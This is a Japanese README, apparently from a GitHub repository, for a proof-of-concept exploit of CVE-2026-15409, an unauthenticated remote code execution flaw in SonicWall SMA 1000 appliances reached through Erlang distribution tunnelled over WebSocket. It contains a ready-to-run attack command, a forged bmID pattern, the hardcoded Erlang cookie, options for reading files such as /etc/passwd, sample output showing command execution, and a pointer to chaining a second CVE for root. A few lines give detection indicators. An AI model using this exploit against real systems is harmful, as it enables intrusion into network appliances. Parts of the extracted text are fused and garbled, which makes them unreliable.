
CVE-2026-15409(SonicWall SMA 1000 RCE)の概念実証エクスプロイト。WebSocketを介したErlangディストリビューションを使用。couchdbユーザーとして認証なしのリモートコード実行を達成。
CVE-2026-15409 用 Proof‑of‑Concept エクスプロイト – WebSocket 経由でトンネリングされた Erlang 分散プロトコルを使用して、SonicWall SMA 1000 シリーズアプライアンス上で未認証のリモートコード実行を実現します。
CVE-2026-15409 は、SonicWall SMA 1000 アプライアンス(2026 年 6 月のホットフィックスより前のバージョン)に影響を与える重大な脆弱性です。この欠陥は、内部の Erlang ノードへの WebSocket 接続をプロキシする WorkPlace サービス(通常ポート 443 で公開)に存在します。攻撃者は、有効な bmID パラメータを偽造し、ハードコードされた Erlang Cookie を使用することで、認証済みの分散チャネルを確立し、 への RPC 呼び出しを介して ユーザー(または他の低権限アカウント)として任意のシステムコマンドを実行できます。
os:cmd/1couchdbこのリポジトリは、WebSocket ハンドシェイクから任意のコマンド実行までのエクスプロイトチェーン全体を自動化する 完全に機能する PoC を提供します。クリーンなインターフェース、高度なエラー処理、見やすいログ出力を備えています。
wsproxy エンドポイントを使用して wss:// 上で直接動作します。os:cmd/1 を介して実行します。file:read_file/1 でファイルを読み取ったり、erlang:node/0 で接続をテストしたりできます。bmID 値(-3389 で始まる限り)と複数の serviceType 値をサポートします。[+]、[*]、[-]、[!] 記号を使用した色分けメッセージで、簡単に監視できます。この脆弱性は、SMA 1000 の以下の設計上の弱点に起因します。
/wsproxy エンドポイントは、適切な認証や認可を行わずに、バイナリ WebSocket メッセージをローカルの Erlang 分散ポート(デフォルトでは localhost:1050)に転送します。[email protected] がポート 1050 でリッスンし、WebSocket プロキシからの接続を受け入れるため、ネットワークから到達可能です。rex サービスを提供しており、これを使用してノード上の任意の関数(os:cmd/1 を含む)を実行できます。ex_sra_vm_12.5.0-02002.ova)。couchdb ユーザー(UID 1010、グループ daemon)として実行されます。file:read_file/1 を使用して任意のファイルを読み取ります。websockets ライブラリを備えた Python 3.8+(pip install websockets でインストール)。git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| 引数 | 説明 |
|---|---|
--host, --port | TCP フォールバック(WebSocket を使用しない場合) |
--cookie | デフォルトのハードコードされた Cookie を上書き |
--name | カスタムのローカル Erlang ノード名 |
--ws-origin | WebSocket の Origin ヘッダーを設定 |
--ws-user-agent | User‑Agent 文字列(デフォルト:SMA Connect Agent) |
--ws-insecure-tls | TLS 検証を無効化(自己署名証明書) |
--read-file | ターゲットからファイルを読み取る(例:/etc/passwd) |
--rpc | erlang:node/0 を呼び出して接続のみテスト |
エクスプロイトで使用される Erlang Cookie は次のとおりです:
10ecad5b446e86864832904cd439b6b70262
この値は、テストしたすべての SMA アプライアンスで一貫しており、localhost:1050 の Erlang プロセスにハードコードされています。クラスタリング用にユーザーが設定した Cookie とは異なります。
bmID パラメータbmID は -3389 で始まる必要があります(例:-3389c1b25ccd)。プレフィックス以降の任意の値が受け入れられるため、シグネチャベースの検知は固定ハッシュに依存すべきではありません。
この例では serviceType=SSH を使用していますが、TELNET などの他の値でも動作します。エクスプロイトはサービスタイプに依存しません。
ポート 1050 がデフォルトの内部ポートですが、実際の攻撃ではポート 8188 を標的にすることも確認されています。エクスプロイトは、Erlang 分散プロトコルを公開する任意のポートに適応できます。
couchdb としてシェルを取得した後、攻撃者は CVE-2026-15410 を悪用できます。これは XML‑RPC パストラバーサルで、ホットフィックスの削除とその後の root 権限昇格を可能にします。
-3389 で始まる bmID を使用した /wsproxy への不審な WebSocket 接続。couchdb ユーザーによって生成されたプロセス(例:bash、python、nc)。couchdb ユーザーによる /var/tmp/ 内のファイルの変更または作成。このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
免責事項:このツールは教育および許可されたテスト目的のみに使用されます。作者および貢献者は、本ソフトウェアの誤用またはそれによって引き起こされた損害について責任を負いません。
この PoC が役立つと思われた場合は、GitHub で ⭐ を付けて、責任を持って共有することをご検討ください。コントリビューション、問題報告、プルリクエストを歓迎します!
ハッピーハッキング! 🛡️